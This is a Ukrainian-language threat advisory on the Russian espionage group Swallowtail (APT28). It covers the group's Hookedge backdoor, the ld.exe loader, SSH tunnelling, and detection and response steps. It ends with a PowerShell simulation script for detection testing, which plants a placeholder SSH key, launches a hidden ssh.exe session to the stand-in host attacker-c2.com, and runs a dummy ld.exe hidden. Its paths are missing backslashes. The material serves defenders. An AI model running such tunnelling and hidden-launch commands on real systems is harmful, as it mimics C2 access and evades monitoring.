Російсько-пов’язана Swallowtail націлюється на фірми оборонного сектора НАТО

Резюме

Російська шпигунська група Swallowtail, також відома як APT28, здійснила багатомісячне проникнення, націлене на оборонні, морські та правоохоронні організації у державах-членах НАТО. Атакувальники розгорнули бекдор Hookedge і недокументований відбиваючий завантажувач під назвою ld.exe для збереження доступу та виконання завдань в пам’яті. Кампанія також включала передові техніки, такі як тунелювання SSH для постійного доступу до мережі та крадіжка облікових даних NTLM на основі PowerShell.

Розслідування

Команда Symantec Threat Hunter відстежила початкове зараження до документів Word з макросами, що доставлялися через Outlook. Аналітики виявили механізм доставки та відповіді з використанням webhook.site та прихованого примірника Microsoft Edge для отримання завдань. Атакувальники також здійснювали активність з клавіатурою, виконуючи розвідку, зондування внутрішньої мережі, бічне переміщення та збір облікових даних у заражених середовищах.

Пом’якшення

Організації повинні пріоритетно блокувати відомі шкідливі кінцеві точки веб-перехоплення webhook.site та моніторити аномальну поведінку Microsoft Edge, включаючи однопіксельні чи позаекранні вікна браузера. Слід запровадити суворий відсіваючий фільтр для запобігання несанкціонованим підключенням SSH, тоді як команди безпеки повинні стежити за підозрілою активністю PowerShell-слухача. Захист кінцевих точок також повинен виявляти відбиваюче завантаження та несанкціоновані спроби доступу до облікових даних.

Відповідь

Якщо виявлена ​​активність, пов’язана з Hookedge, респонденти повинні негайно ізолювати уражені системи, щоб зірвати активні SSH-тунелі та зв’язки C2. Проведіть детальну судово-медичну перевірку недокументованих файлів, таких як ld.exe та перевірте заплановані завдання на наявність механізмів стійкості. Виконайте комплексне скидання облікових даних для облікових записів, потенційно підданих під час крадіжки облікових даних NTLM або компрометації ключів SSH.

Імітація виконання

• Опис атаки та команди: Противник має намір встановити постійний, зашифрований тунель до своєї інфраструктури Command and Control (C2). Вони розгорнули вкрадений приватний ключ SSH у C:ProgramDataAdobeid_rsa щоб змішатися з метаданими легітимного програмного забезпечення. Потім вони намагаються запустити тунель, використовуючи ssh.exe. Після встановлення тунелю вони намагаються завантажити шкідливий код в пам’ять, використовуючи власний відбиваючий завантажувач під назвою ld.exe. Ці дії спрямовані на те, щоб обійти традиційний периметр захисту, використовуючи легітимні інструменти (ssh.exe) і виконання в пам’яті (ld.exe).

• Сценарій регресивного тестування:

  # 1. Імітація тунелювання Swallowtail SSH
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Запуск виявлення SSH шляхом точного зіставлення командного рядка
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Імітація виконання відбиваючого завантажувача
  # Створення муляжу ld.exe для генерації телеметрії
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Примітка: у реальному сценарії це був би бінарний файл; тут ми імітуємо створення процесу
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Команди очищення:

  # Видалення зімітаційних шкідливих файлів та директорій
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue